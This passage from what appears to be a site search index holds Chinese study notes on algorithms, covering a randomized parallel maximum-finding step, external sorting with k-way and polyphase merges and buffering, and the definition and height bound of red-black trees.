\\)\uff09\u3002\u5982\u4f55\u8fdb\u4e00\u6b65\u63d0\u9ad8\u6982\u7387\u5462\uff1f\u7b54\u6848\u662f\u518d\u6765\u4e00\u8f6e\uff0c\u4f46\u8fd9\u518d\u6765\u4e00\u8f6e\u662f\u6709\u8bb2\u7a76\u7684\u3002\u8fd9\u4e00\u6b65\u6211\u4eec\u9996\u5148\u5747\u5300\u5206\u5e03\u53d6\u51fa \\( n^{7/8} \\) \u4e2a\u5143\u7d20\uff0c\u5f97\u5230\u6570\u7ec4 \\( B \\)\u3002\u7136\u540e\u7528 \\( n \\) \u4e2a\u5904\u7406\u5668\uff0c\u6bcf\u4e2a\u5904\u7406\u5668\u653e \\( A \\) \u7684\u4e00\u4e2a\u5143\u7d20\uff0c\u4e0e\u524d\u4e00\u6b65\u5f97\u5230\u7684 \\( M \\) \u8fdb\u884c\u6bd4\u8f83\u3002\u5982\u679c\u5c0f\u4e8e \\( M \\)\uff0c\u5219\u4ec0\u4e48\u4e5f\u4e0d\u7528\u505a\uff1b\u5927\u4e8e \\( M \\) \u5219\u5f80\u6570\u7ec4 \\( B \\) \u7684\u4e00\u4e2a\u968f\u673a\u4f4d\u7f6e\u5199\u5165\u8fd9\u4e00\u66f4\u5927\u7684\u503c\u3002\u4e3a\u4ec0\u4e48\u8981\u968f\u673a\u5199\u5165\u5462\uff1f\u56e0\u4e3a\u4e00\u5171 \\( n \\) \u4e2a\u5904\u7406\u5668\uff0c\u4f46\u53ea\u6709 \\( n^{7/8} \\) \u4e2a\u4f4d\u7f6e\u53ef\u4f9b\u9009\u62e9\uff0c\u4e0d\u80fd\u4e00\u4e00\u5bf9\u5e94\u4f4d\u7f6e\u4f9b\u6bcf\u4e2a\u5904\u7406\u5668\u4f7f\u7528\uff0c\u4f46\u6211\u4eec\u53c8\u8981\u5728 \\( O(1) \\) \u65f6\u95f4\u5185\u5b8c\u6210\u4f4d\u7f6e\u5206\u914d\uff0c\u53ea\u80fd\u662f\u968f\u673a\u4e86\u3002\u5199\u5b8c\u540e\uff0c\u6211\u4eec\u518d\u6b21\u6c42\u51fa\u66f4\u65b0\u540e\u7684 \\( B \\) \u4e2d\u7684\u6700\u5927\u503c\u3002\u8fd9\u4e00\u6b65\u7684\u6df1\u5ea6\u548c\u5de5\u4f5c\u91cf\u4e0e\u7b2c\u4e8c\u6b65\u76f8\u540c\uff0c\u56e0\u6b64\u662f \\( O(1) \\) \u7684\u6df1\u5ea6\u548c \\( O(n) \\) \u7684\u5de5\u4f5c\u91cf\u3002</p> <p>\u4ee5\u4e0a\u7b97\u6cd5\u4ee5\u975e\u5e38\u9ad8\u7684\u6982\u7387\u5728 \\( O(1) \\) \u7684\u6df1\u5ea6\u548c \\( O(n) \\) \u7684\u5de5\u4f5c\u91cf\u5185\u627e\u5230\u6570\u7ec4 \\( A \\) \u4e2d\u7684\u6700\u5927\u503c\uff1a\u5b58\u5728\u5e38\u6570 \\( c \\)\uff0c\u4f7f\u5f97\u7b97\u6cd5\u53ea\u6709 \\( \\frac{1}{n^c} \\) \u7684\u6982\u7387\u65e0\u6cd5\u5728\u8fd9\u4e00\u65f6\u95f4\u590d\u6742\u5ea6\u5185\u627e\u5230\u6700\u5927\u503c\u3002</p>"},{"location":"NOTE/ADS/wk14/","title":"\u5916\u90e8\u6392\u5e8f(External Sorting)","text":"<p> \u7ea6 1912 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 7 \u5206\u949f</p> <p>\u5927\u90e8\u5206\u6392\u5e8f\u7b97\u6cd5\u90fd\u4f9d\u8d56\u4e8e\u5185\u5b58\u53ef\u4ee5\u76f4\u63a5\u5bfb\u5740\u7684\u7279\u6027\uff0c\u4f46\u662f\u5982\u679c\u6570\u636e\u8f93\u5165\u5728\u78c1\u5e26\u4e0a\uff0c\u7531\u4e8e\u78c1\u5e26\u53ea\u80fd\u88ab\u987a\u5e8f\u8bbf\u95ee\uff0c\u6240\u4ee5\u9002\u5408\u7528\u4e8e\u5916\u90e8\u6392\u5e8f\u7684\u6392\u5e8f\u7b97\u6cd5\u662f\u5f52\u5e76\u6392\u5e8f\u3002</p>"},{"location":"NOTE/ADS/wk14/#_1","title":"\u7b80\u5355\u505a\u6cd5","text":"\u7b80\u5355\u505a\u6cd5 <p>\u5047\u8bbe\u4e00\u5f00\u59cb\u6570\u636e\u5b58\u5728\u78c1\u5e26\\(T_1\\)\u4e0a\uff0c\u5916\u90e8\u5185\u5b58\u5bb9\u91cf\u662f3\uff0c\u5219\u4f9d\u6b21\u8bfb\u53d63\u4e2a\u6570\u636e\u4e3a\u4e00\u7ec4\uff0c\u4ea4\u66ff\u653e\u5728\u78c1\u5e26\\(T_2\\)\u548c\\(T_3\\)\u4e0a\uff0c\u7136\u540e\u6309\u5bf9\u5e94\u5f52\u5e76\\(T_2\\)\u548c\\(T_3\\)\u4e0a\u7684\u6570\u636e\uff0c\u7ed3\u679c\u4ea4\u66ff\u653e\u5728\\(T_1\\)\u548c\\(T_4\\)\u4e0a\uff0c\u7136\u540e\u91cd\u590d\u8fd9\u4e2a\u8fc7\u7a0b\uff0c\u76f4\u5230\u6240\u6709\u6570\u636e\u90fd\u6392\u5e8f\u5b8c\u6210\u3002</p> <p>Definition</p> <ul> <li>run: \u6bcf\u7ec4\u6392\u597d\u5e8f\u7684\u6570\u636e\u79f0\u4e3a\u4e00\u4e2arun</li> <li>pass: \u5c06\u6240\u6709\u6570\u636e\u8bfb\u8fc7\u4e00\u904d\u7684\u79f0\u4e3a\u4e00\u4e2apass</li> </ul> <p>\u5bf9\u4e8e\u4e0a\u8ff0\u7684\u4f8b\u5b50\uff0c\u9700\u8981\u7b2c\u4e00\u6b21\u4ece\\(T_1\\)\u8bfb\u7684\u4e00\u4e2apass\u52a0\u4e0a\u4e0b\u9762\u4e09\u4e2a\u5f52\u5e76\u7684\u8fc7\u7a0b\uff0c\u4e00\u5171\u6709\\(1+3=4\\)\u4e2apass\u3002</p> <p>\u5bf9\u4e8e\\(N\\)\u4e2a\u6570\u636e\uff0c\u5982\u679c\u5916\u90e8\u5185\u5b58\u5bb9\u91cf\u662f\\(M\\)\uff0c\u5219\u9700\u8981\\(1+\\lceil \\log_2(N/ M) \\rceil\\)\u4e2apass\u3002</p>"},{"location":"NOTE/ADS/wk14/#k-way-merge","title":"K-way Merge","text":"<p>\u7b2c\u4e00\u4e2a\u4f18\u5316\u65b9\u5411\u5c31\u662f\u51cf\u5c11\u5de5\u4f5c\u7684\u8d9f\u6570\uff0c\u663e\u7136\u5982\u679c\u6211\u4eec\u4f7f\u7528 k \u8def\u7684\u5f52\u5e76\uff0c\u4e5f\u5c31\u662f\u6bcf\u6b21\u5f52\u5e76 k \u6761\u7eb8\u5e26\u4e0a\u5bf9\u5e94\u4f4d\u7f6e\u7684\u987a\u4e32\uff0c\u90a3\u4e48\u6bcf\u6b21\u5408\u5e76\u540e\u987a\u4e32\u957f\u5ea6\u589e\u52a0 k \u500d\uff0c\u56e0\u6b64\u52a0\u4e0a\u521d\u59cb\u7684 1 \u8d9f\uff0c\u6211\u4eec\u53ea\u9700\u8981$ 1 + \\lceil \\log_k(N/M) \\rceil $\u8d9f\u5373\u53ef\u5b8c\u6210\u6392\u5e8f\uff0c\u51cf\u5c11\u4e86\u8d9f\u6570\uff0c\u56e0\u6b64\u51cf\u5c11\u4e86\u78c1\u5e26\u79fb\u52a8\u7684\u6b21\u6570\uff0c\u4ece\u800c\u51cf\u5c11\u603b\u65f6\u95f4\u3002\u8fd9\u6837\u7684\u7b97\u6cd5\u79f0\u4e3a k \u8def\u5408\u5e76\u3002</p> <p>k \u8def\u5408\u5e76\u6709\u4e00\u4e2a\u5b9e\u73b0\u4e0a\u9700\u8981\u6ce8\u610f\u7684\u70b9\uff0c\u56e0\u4e3a\u6211\u4eec\u662f k \u4e2a\u987a\u4e32\u8981\u5408\u5e76\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u4e0d\u65ad\u7684\u5728 k \u4e2a\u5143\u7d20\u4e2d\u9009\u53d6\u6700\u5c0f\u503c\u653e\u5230\u8f93\u51fa\u7684\u78c1\u5e26\u4e0a\uff0c\u8fd9\u4e2a\u64cd\u4f5c\u53ef\u4ee5\u4f7f\u7528\u4f18\u5148\u961f\u5217\u6765\u5b9e\u73b0\u3002</p> k \u8def\u5408\u5e76 <p>Key-point</p> <p>\u5bf9\u4e8ek\u8def\u5408\u5e76\uff0c\u9700\u8981\\(2k\\)\u4e2atape\u3002</p>"},{"location":"NOTE/ADS/wk14/#_2","title":"\u591a\u76f8\u5408\u5e76","text":"<p>\u4e3a\u4e86\u4f18\u5316\u591a\u8def\u5408\u5e76\u5bf9\u4e8e\u78c1\u5e26\u6570\u7684\u6210\u672c\uff0c\u6211\u4eec\u8003\u8651\u591a\u76f8\u5408\u5e76\uff0c\u8fd9\u79cd\u65b9\u6cd5\u5bf9\u4e8e\u591a\u8def\u5408\u5e76\u7684\u78c1\u5e26\u6210\u672c\u53ef\u4ee5\u4ece\\(2k\\)\u51cf\u5c11\u5230\\(k+1\\)\u3002</p> <p>\u9996\u5148\uff0c\u5047\u8bbe\u6211\u4eec\u6709\u4e09\u4e2a\u78c1\u5e26\uff0c\u4f7f\u75282-way merge:</p> \u5747\u5206 <p>\u8bbe\u6709\u4e09\u76d8\u78c1\u5e26\\(T_1\u3001T_2\\)\u548c\\(T_3\\)\u3002\u5728\\(T_1\\)\u4e0a\u6709\u4e00\u4e2a\u8f93\u5165\u6587\u4ef6\uff0c\u5b83\u5c06\u4ea7\u751f\\(34\\)\u4e2a\u987a\u4e32(run)\u3002\u6211\u4eec\u53ef\u4ee5\u9009\u62e9\u5728\\(T_2\\)\u548c\\(T_3\\)\u7684\u6bcf\u4e00\u76d8\u78c1\u5e26\u4e2d\u653e\u5165\\(17\\)\u4e2a\u987a\u4e32\u3002\u7136\u540e\uff0c\u5c06\u7ed3\u679c\u5408\u5e76\u5230\\(T_1\\)\u4e0a\uff0c\u5f97\u5230\u4e00\u76d8\u6709\\(17\\)\u4e2a\u987a\u4e32\u7684\u78c1\u5e26\u3002\u7531\u4e8e\u6240\u6709\u7684\u987a\u4e32\u90fd\u5728\u4e00\u76d8\u78c1\u5e26\u4e0a\uff0c\u56e0\u6b64\u6211\u4eec\u5fc5\u987b\u5c06\u5176\u4e2d\u7684\u4e00\u4e9b\u987a\u4e32\u653e\u5230\\(T_2\\)\u4e0a\u4ee5\u8fdb\u884c\u53e6\u4e00\u6b21\u5408\u5e76\u3002\u5408\u5e76\u7684\u903b\u8f91\u662f\u5c06\u524d\\(8\\)\u4e2a\u987a\u4e32\u4ece\\(T_1\\)\u62f7\u8d1d\u5230\\(T_2\\)\u5e76\u8fdb\u884c\u5408\u5e76\u3002\u8fd9\u6837\u505a\u7684\u7ed3\u679c\u662f\uff0c\u6bcf\u6b21\u5408\u5e76\u90fd\u9700\u8981\u989d\u5916\u7684\u590d\u5236\u5de5\u4f5c\uff0c\u800c\u590d\u5236\u4e5f\u9700\u8981\u78c1\u5934\u7684\u79fb\u52a8\uff0c\u8fd9\u662f\u4e00\u9879\u6602\u8d35\u7684\u64cd\u4f5c\uff0c\u56e0\u6b64\u8fd9\u79cd\u65b9\u6cd5\u5e76\u4e0d\u597d\u3002\u5982\u679c\u6211\u4eec\u7ee7\u7eed\u5b8c\u6210\u6240\u6709\u6b65\u9aa4\uff0c\u6211\u4eec\u4f1a\u53d1\u73b0\u603b\u5171\u9700\u8981\\(1\\)\u6b21\u521d\u59cb\u64cd\u4f5c\\(+6\\)\u6b21\u5408\u5e76\u5de5\u4f5c\uff0c\u5916\u52a0\\(5\\)\u6b21\u590d\u5236\u64cd\u4f5c,This sucks.</p> \u4e0d\u5747\u5206 <p>\u53e6\u4e00\u79cd\u9009\u62e9\u662f\u628a\u539f\u59cb\u7684 \\(34\\)\u4e2a\u987a\u4e32\u4e0d\u5747\u8861\u5730\u5206\u6210\u4e24\u4efd\u3002\u8bbe\u6211\u4eec\u628a\\(21\\)\u4e2a\u987a\u4e32\u653e\u5230\\(T_2\\)\u4e0a\uff0c\u800c\u628a\\(13\\)\u4e2a\u987a\u4e32\u653e\u5230\\(T_3\\)\u4e0a\u3002\u7136\u540e\uff0c\u5728\\(T_3\\)\u7528\u5b8c\u4e4b\u524d\u5c06\\(13\\)\u4e2a\u987a\u4e32\u5408\u5e76\u5230\\(T_1\\)\u4e0a\u3002\u7136\u540e\u6211\u4eec\u53ef\u4ee5\u5c06\u5177\u6709\\(13\\)\u4e2a\u987a\u4e32\u7684\\(T_1\\)\u548c\\(8\\)\u4e2a\u987a\u4e32\u7684\\(T_2\\)\u5408\u5e76\u5230\\(T_3\\)\u4e0a\u3002\u6b64\u65f6\uff0c\u6211\u4eec\u5408\u5e76\\(8\\)\u4e2a\u987a\u4e32\u76f4\u5230\\(T_2\\)\u7528\u5b8c\u4e3a\u6b62\uff0c\u8fd9\u6837\uff0c\u5728\\(T_1\\)\u4e0a\u5c06\u7559\u4e0b\\(5\\)\u4e2a\u987a\u4e32\uff0c\u800c\u5728\\(T_3\\)\u4e0a\u5219\u6709\\(8\\)\u4e2a\u987a\u4e32\u3002\u7136\u540e\uff0c\u6211\u4eec\u518d\u5408\u5e76\\(T_1\\)\u548c\\(T_3\\)\uff0c\u7b49\u7b49\uff0c\u76f4\u5230\u5408\u5e76\u7ed3\u675f\u3002</p> \u8be6\u7ec6\u8fc7\u7a0b <p> 2 3 4 5 6 </p> <p>\u6700\u540e\u4f7f\u7528\u4e86\\(1+7=8\\)\u4e2apass\u3002</p> <p>\u4e8b\u5b9e\u4e0a\uff0c\u6211\u4eec\u7ed9\u51fa\u7684\u6700\u521d 21 + 13 \u7684\u5206\u914d\u662f\u6700\u4f18\u7684\uff0c\u5426\u5219\u90fd\u53ef\u80fd\u51fa\u73b0\u4e0a\u9762\u7684\u9700\u8981\u590d\u5236\u6216\u8005\u6709\u957f\u77ed\u4e0d\u5bf9\u9f50\u5bfc\u81f4\u6d6a\u8d39\u7684\u60c5\u51b5\u3002\u5982\u679c\u987a\u4e32\u7684\u4e2a\u6570\u662f\u4e00\u4e2a\u6590\u6ce2\u90a3\u5951\u6570 \\( F_n \\)\uff0c\u90a3\u4e48\u5206\u914d\u8fd9\u4e9b\u987a\u4e32\u6700\u597d\u7684\u65b9\u5f0f\u662f\u628a\u5b83\u4eec\u5206\u88c2\u6210\u4e24\u4e2a\u6590\u6ce2\u90a3\u5951\u6570 \\( F_{n-1} \\) \u548c \\( F_{n-2} \\)\u3002\u5426\u5219\uff0c\u4e3a\u4e86\u5c06\u987a\u4e32\u7684\u4e2a\u6570\u8865\u8db3\u6210\u4e00\u4e2a\u6590\u6ce2\u90a3\u5951\u6570\u5c31\u5fc5\u987b\u7528\u4e00\u4e9b\u54d1\u987a\u4e32\uff08dummy run\uff09\u6765\u586b\u8865\u78c1\u5e26\u3002</p> <p>\u5c06\u4e0a\u8ff0\u7b97\u6cd5\u5e94\u7528\u5230k-way merge\uff0c\u5219\u9700\u8981k\u9636\u6590\u6ce2\u90a3\u5951\u6570\u3002</p> <p>\u5b9a\u4e49\u4e3a</p> \\[ F^{(k)}(n) = F^{(k)}(n-1) + F^{(k)}(n-2) + \\cdots + F^{(k)}(n-k) \\] <p>\u4e14</p> \\[ F^{(k)}(0) = F^{(k)}(1) = \\cdots = F^{(k)}(k-2) = 0, F^{(k)}(k-1) = 1 \\] <p>\u7ecf\u8fc7\u7b2c\u4e00\u4e2apass\u4e4b\u540e,k+1\u4e2atape\u7684\u7ed3\u6784\u5982\u4e0b</p> \\[ \\begin{align*} tape1: &amp; \\quad F^{(k)}(n-1) + F^{(k)}(n-2) + \\cdots + F^{(k)}(n-k+1) + F^{(k)}(n-k) \\\\ tape2: &amp; \\quad F^{(k)}(n-1) + F^{(k)}(n-2) + \\cdots + F^{(k)}(n-k+1) \\\\ &amp; \\quad \\vdots \\\\ tapek: &amp; \\quad F^{(k)}(n-1) \\\\ tapek+1: &amp; \\quad 0 \\end{align*} \\] <p>\u7136\u540e\u5408\u5e761-k\u4e2atape\uff0c\u7ed3\u679c\u653e\u5728tapek+1\u4e0a\uff0c\u7ed3\u679c\u5982\u4e0b</p> \\[ \\begin{align*} tape1: &amp; \\quad F^{(k)}(n-2) + F^{(k)}(n-3) + \\cdots + F^{(k)}(n-k) \\\\ tape2: &amp; \\quad F^{(k)}(n-2) + F^{(k)}(n-3) + \\cdots + F^{(k)}(n-k+1) \\\\ &amp; \\quad \\vdots \\\\ tape k: &amp; \\quad 0 \\\\ tape k+1: &amp; \\quad F^{(k)}(n-1) = F^{(k)}(n-2) + F^{(k)}(n-3) + \\cdots + F^{(k)}(n-k-1) \\end{align*} \\] <p>\u6b64\u65f6\u6211\u4eec\u7684\u987a\u4e32\u4e2a\u6570\u5206\u5e03\u4e0e\u4e4b\u524d\u7684\u662f\u7c7b\u4f3c\u7684\uff0c\u53ea\u662f\u4e0b\u6807\u51cf\u4e86 1\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u7ee7\u7eed\u5408\u5e76\u9664\u78c1\u5e26 k \u5916\u6bcf\u4e2a\u78c1\u5e26\u7684\u524d \\( F^{(k)}(n-2) \\) \u4e2a\u987a\u4e32\uff0c\u5c06\u5408\u5e76\u540e\u7684\u7ed3\u679c\u653e\u5230\u78c1\u5e26 k \u4e0a\uff0c\u4ee5\u6b64\u7c7b\u63a8\uff0c\u76f4\u5230\u987a\u4e32\u4e2a\u6570\u4e3a 1\uff0c\u6b64\u65f6\u6211\u4eec\u5c31\u5b8c\u6210\u4e86\u6392\u5e8f\u3002</p>"},{"location":"NOTE/ADS/wk14/#copy-from-wyys-handout","title":"\u7f13\u5b58\u5e76\u884c\u5904\u7406(copy from wyy's Handout)","text":"<p>\u5728\u5b9e\u73b0\u5916\u90e8\u6392\u5e8f\u65f6\uff0c\u6211\u4eec\u901a\u5e38\u4f1a\u5206\u5757\u8bfb\u53d6\u6570\u636e\uff0c\u800c\u4e0d\u662f\u6bcf\u6b21\u6bd4\u8f83\u540e\u7acb\u5373\u5c06\u4e00\u4e2a\u5143\u7d20\u5199\u5165\u78c1\u76d8\u3002\u8fd9\u6837\u505a\u4f1a\u5bfc\u81f4\u6bcf\u6b21\u6bd4\u8f83\u540e\u90fd\u9700\u8981\u7b49\u5f85\u78c1\u76d8\u5904\u7406\uff0c\u8017\u8d39\u5927\u91cf\u65f6\u95f4\u3002\u57282\u8def\u5408\u5e76\u4e2d\uff0c\u5185\u5b58\u5e94\u5212\u5206\u4e3a2\u4e2a\u8f93\u5165\u7f13\u5b58\u533a\u548c1\u4e2a\u8f93\u51fa\u7f13\u5b58\u533a\u3002\u8f93\u5165\u7f13\u5b58\u533a\u7528\u4e8e\u5b58\u653e\u4ece\u78c1\u76d8\u8bfb\u53d6\u7684\u6570\u636e\uff0c\u4e24\u4e2a\u8f93\u5165\u7f13\u5b58\u533a\u7684\u6570\u636e\u6bd4\u8f83\u540e\uff0c\u7ed3\u679c\u6682\u5b58\u4e8e\u8f93\u51fa\u7f13\u5b58\u533a\u3002\u5f53\u8f93\u51fa\u7f13\u5b58\u533a\u6ee1\u65f6\uff0c\u518d\u4e00\u6b21\u6027\u5199\u5165\u78c1\u76d8\u3002</p> <p>\u7136\u800c\uff0c\u8fd9\u79cd\u5b9e\u73b0\u4ecd\u6709\u95ee\u9898\uff1a\u5f53\u8f93\u51fa\u7f13\u5b58\u533a\u5199\u56de\u78c1\u76d8\u65f6\uff0c\u5185\u5b58\u4e2d\u7684\u64cd\u4f5c\u4f1a\u6682\u505c\u3002\u4e3a\u89e3\u51b3\u6b64\u95ee\u9898\uff0c\u6211\u4eec\u5c06\u8f93\u51fa\u7f13\u5b58\u533a\u62c6\u5206\u4e3a\u4e24\u4e2a\u3002\u5f53\u4e00\u4e2a\u7f13\u5b58\u533a\u6ee1\u5e76\u5199\u56de\u78c1\u76d8\u65f6\uff0c\u53e6\u4e00\u4e2a\u7f13\u5b58\u533a\u7ee7\u7eed\u63a5\u6536\u6570\u636e\uff0c\u5b9e\u73b0\u5e76\u884c\u5904\u7406\u2014\u2014\u4e00\u4e2a\u5728\u5185\u5b58\u4e2d\u64cd\u4f5c\uff0c\u53e6\u4e00\u4e2a\u8fdb\u884cI/O\u4ea4\u4e92\u3002</p> <p>\u8f93\u5165\u7f13\u5b58\u533a\u4e5f\u7c7b\u4f3c\u3002\u5982\u679c\u53ea\u67092\u4e2a\u8f93\u5165\u7f13\u5b58\u533a\uff0c\u5f53\u6570\u636e\u6bd4\u8f83\u5b8c\u65f6\uff0c\u6211\u4eec\u5fc5\u987b\u7b49\u5f85\u65b0\u6570\u636e\u4ece\u78c1\u76d8\u8bfb\u5165\u3002\u56e0\u6b64\uff0c\u6211\u4eec\u5c06\u5176\u8fdb\u4e00\u6b65\u5212\u5206\u4e3a4\u4e2a\u8f93\u5165\u7f13\u5b58\u533a\u3002\u5f53\u4e24\u4e2a\u7f13\u5b58\u533a\u7684\u6570\u636e\u6b63\u5728\u6bd4\u8f83\u65f6\uff0c\u53e6\u5916\u4e24\u4e2a\u7f13\u5b58\u533a\u53ef\u4ee5\u5e76\u884c\u8bfb\u53d6\u65b0\u6570\u636e\u3002</p> <p>\u8fd9\u4e5f\u89e3\u91ca\u4e86\u4e3a\u4ec0\u4e48\u5728k\u8def\u5408\u5e76\u4e2d\uff0c\u5c3d\u7ba1\u8d9f\u6570\u51cf\u5c11\uff0c\u4f46k\u8fc7\u9ad8\u5e76\u4e0d\u4e00\u5b9a\u66f4\u4f18\u3002\u6839\u636e\u524d\u8ff0\u8ba8\u8bba\uff0c\u5185\u5b58\u5e94\u5212\u5206\u4e3a\\(2k\\)\u4e2a\u8f93\u5165\u7f13\u5b58\u533a\u548c\\(2\\)\u4e2a\u8f93\u51fa\u7f13\u5b58\u533a\u3002\u5f53k\u5f88\u5927\u65f6\uff0c\u8f93\u5165\u7f13\u5b58\u533a\u88ab\u5212\u5206\u5f97\u5f88\u7ec6\uff0c\u5355\u6b21\u8bfb\u53d6\u7684\u6570\u636e\u91cf\u51cf\u5c11\uff08\u5373\u5757\u5927\u5c0f\u964d\u4f4e\uff09\uff0c\u5bfc\u81f4I/O\u64cd\u4f5c\u589e\u591a\u3002\u56e0\u6b64\uff0c\u5c3d\u7ba1\u8d9f\u6570\u51cf\u5c11\u964d\u4f4e\u4e86I/O\u6210\u672c\uff0c\u4f46\u5e76\u4e0d\u4e00\u5b9a\u66f4\u4f18\u3002\u6700\u4f18\u7684k\u503c\u4e0e\u5177\u4f53\u7684\u786c\u4ef6\u914d\u7f6e\u6709\u5173\u3002</p> <p>Note</p> <p>\u5212\u5206\u4e3a\\(2k\\)\u4e2a\u8f93\u5165\u7f13\u5b58\u533a\u548c\\(2\\)\u4e2a\u8f93\u51fa\u7f13\u5b58\u533a\u662f\u56e0\u4e3a\u9700\u8981\\(k+1\\)\u4e2atapes, \\(k\\) \u4e2a\u8f93\u5165, \\(1\\)\u4e2a\u8f93\u51fa, \u7136\u540e\u4e3a\u4e86\u4e00\u76f4\u5de5\u4f5c,\u9700\u8981double buffer;</p>"},{"location":"NOTE/ADS/wk14/#replacement-selection","title":"\u66ff\u6362\u9009\u62e9(replacement selection)","text":""},{"location":"NOTE/ADS/wk2/","title":"\u7ea2\u9ed1\u6811\u4e0eB+\u6811","text":"<p> \u7ea6 3903 \u4e2a\u5b57  11 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 14 \u5206\u949f</p> <p>\u6211\u8ba8\u538c\u9ed1\u53d4\u53d4</p> <p>\u7ea2\u9ed1\u6811\u4e0d\u60f3\u50cfAVl\u6811\u4e00\u6837\u901a\u8fc7\u5b9a\u4e49\u5e73\u8861\u56e0\u5b50\uff0c\u6bcf\u6b21\u64cd\u4f5c\u4e4b\u540e\u68c0\u67e5\u662f\u5426\u5e73\u8861\uff0c\u901a\u8fc7\u65cb\u8f6c\u6765\u4fdd\u6301\u5e73\u8861\uff0c\u800c\u662f\u653e\u677e\u8fd9\u4e00\u7b80\u5355\u7c97\u66b4\u7684\u60f3\u6cd5\uff0c\u901a\u8fc7\u7ed9\u7ed3\u70b9\u67d3\u8272\uff0c\u4ece\u800c\u5b9a\u4e49\u53e6\u4e00\u79cd\u5e73\u8861</p> <p>\u7ea2\u9ed1\u6811\u7684\u5b9a\u4e49</p> <p>\u4e00\u68f5\u7ea2\u9ed1\u6811\u662f\u6ee1\u8db3\u4ee5\u4e0b\u6027\u8d28\u7684\u4e8c\u53c9\u641c\u7d22\u6811</p> <ol> <li>\u6bcf\u4e2a\u7ed3\u70b9\u8981\u4e48\u662f\u7ea2\u8272\uff0c\u8981\u4e48\u662f\u9ed1\u8272</li> <li>\u6839\u7ed3\u70b9\u662f\u9ed1\u8272</li> <li>\u6bcf\u4e2a\u53f6\u7ed3\u70b9\uff08NIL\u7ed3\u70b9\uff0c\u7a7a\u7ed3\u70b9\uff09\u662f\u9ed1\u8272</li> <li>\u5982\u679c\u4e00\u4e2a\u7ed3\u70b9\u662f\u7ea2\u8272\uff0c\u90a3\u4e48\u5b83\u7684\u4e24\u4e2a\u5b50\u7ed3\u70b9\u90fd\u662f\u9ed1\u8272</li> <li>\u5bf9\u4e8e\u6bcf\u4e2a\u7ed3\u70b9\uff0c\u4ece\u8be5\u7ed3\u70b9\u5230\u5176\u6240\u6709\u540e\u4ee3\u53f6\u7ed3\u70b9\u7684\u7b80\u5355\u8def\u5f84\u4e0a\uff0c\u5747\u5305\u542b\u76f8\u540c\u6570\u76ee\u7684\u9ed1\u8272\u7ed3\u70b9</li> </ol> <p>\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u5bf9\u4e8e\u4e00\u4e2a\u6ca1\u6709\u5de6\u5b50\u7ed3\u70b9\u7684\u7ed3\u70b9\uff0c\u6211\u4eec\u8ba4\u4e3a\u5176\u5b50\u7ed3\u70b9\u662fNIL\u7ed3\u70b9\uff0c\u662f\u9ed1\u8272\u7684</p> <ul> <li>\u6211\u4eec\u79f0 NIL \u4e3a\u5916\u90e8\u7ed3\u70b9\uff0c\u5176\u4f59\u6709\u952e\u503c\u7684\u7ed3\u70b9\u4e3a\u5185\u90e8\u7ed3\u70b9\u3002</li> <li>\u4ece\u67d0\u4e2a\u7ed3\u70b9 X \u51fa\u53d1\u5230\u8fbe\u4e00\u4e2a\u53f6\u5b50\u7ed3\u70b9\uff08NIL\uff09\u7684\u4efb\u610f\u4e00\u6761\u7b80\u5355\u8def\u5f84\u4e0a\u7684\u9ed1\u8272\u7ed3\u70b9\u4e2a\u6570\uff08\u4e0d\u542b X \u672c\u8eab\uff09\u79f0\u4e3a X \u7684\u9ed1\u9ad8\uff0c\u8bb0\u4e3a bh(X)\u3002\u6839\u636e\u5b9a\u4e49\u7b2c\u4e94\u6761\uff0c\u8fd9\u4e00\u5b9a\u4e49\u662f\u5408\u7406\u7684\uff0c\u56e0\u4e3a\u4ece X \u51fa\u53d1\u5230\u8fbe\u4e00\u4e2a\u53f6\u5b50\u7ed3\u70b9\u7684\u4efb\u610f\u4e00\u6761\u7b80\u5355\u8def\u5f84\u4e0a\u7684\u9ed1\u8272\u7ed3\u70b9\u4e2a\u6570\u76f8\u540c\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u6211\u4eec\u5b9a\u4e49\u6574\u68f5\u7ea2\u9ed1\u6811\u7684\u9ed1\u9ad8\u4e3a\u5176\u6839\u7ed3\u70b9\u7684\u9ed1\u9ad8\u3002 </li> </ul> <p>\u4e00\u68f5\u6709 \\(n\\) \u4e2a\u5185\u90e8\u7ed3\u70b9\u7684\u7ea2\u9ed1\u6811\u7684\u9ad8\u5ea6\u81f3\u591a\u4e3a \\(2 \\log (n + 1)\\)\u3002</p> <p>\u5434\u4e00\u822a\u5b66\u957f\u7684ADS\u8bb2\u4e49</p> <p>\u5982\u679c\u6211\u4eec\u820d\u53bb\u5168\u90e8\u7684\u7ea2\u8272\u7ed3\u70b9\uff0c\u5269\u4e0b\u7684\u6811\u7684\u7ed3\u70b9\u4e2a\u6570\u4e00\u5b9a\u5927\u4e8e\u7b49\u4e8e\u9ad8\u5ea6\u4e3a \\(bh(root)\\) \u7684\u5b8c\u5168\u5e73\u8861\u4e8c\u53c9\u6811\u7684\u7ed3\u70b9\u4e2a\u6570\uff0c\u56e0\u4e3a\u5220\u6389\u7ea2\u8272\u7ed3\u70b9\u540e\u53ef\u80fd\u4e0d\u662f\u4e8c\u53c9\uff0c\u8fd9\u5c31\u662f\u8bc1\u660e\u7684\u7b2c\u4e00\u4e2a\u6b65\u9aa4\uff1a\u8bc1\u660e\u4ee5 \\(X\\) \u4e3aroot\u7ed3\u70b9\u7684\u5b50\u6811\u81f3\u5c11\u6709 \\(2^{bh(x)} \u2212 1\\) \u4e2a\u5185\u90e8\u7ed3\u70b9\u3002\u800c\u6839\u636e\u7b2c\u56db\u6761\uff0c\u4efb\u4f55\u8def\u5f84\u4e0a\u9ed1\u8272\u7ed3\u70b9\u5fc5\u5b9a\u5360\u5230\u81f3\u5c11\u4e00\u534a\u7684\u6570\u91cf\uff0c\u56e0\u4e3a\u7ea2\u8272\u4e0d\u80fd\u662f\u7236\u5b50\u5173\u7cfb\uff0c\u6240\u4ee5\u6709\u4e86\u8bc1\u660e\u7684\u7b2c\u4e8c\u6b65\uff0c\u6811\u9ad8\u6700\u591a\u4e3a\u9ed1\u9ad8 \\(2\\) \u500d\u3002</p> 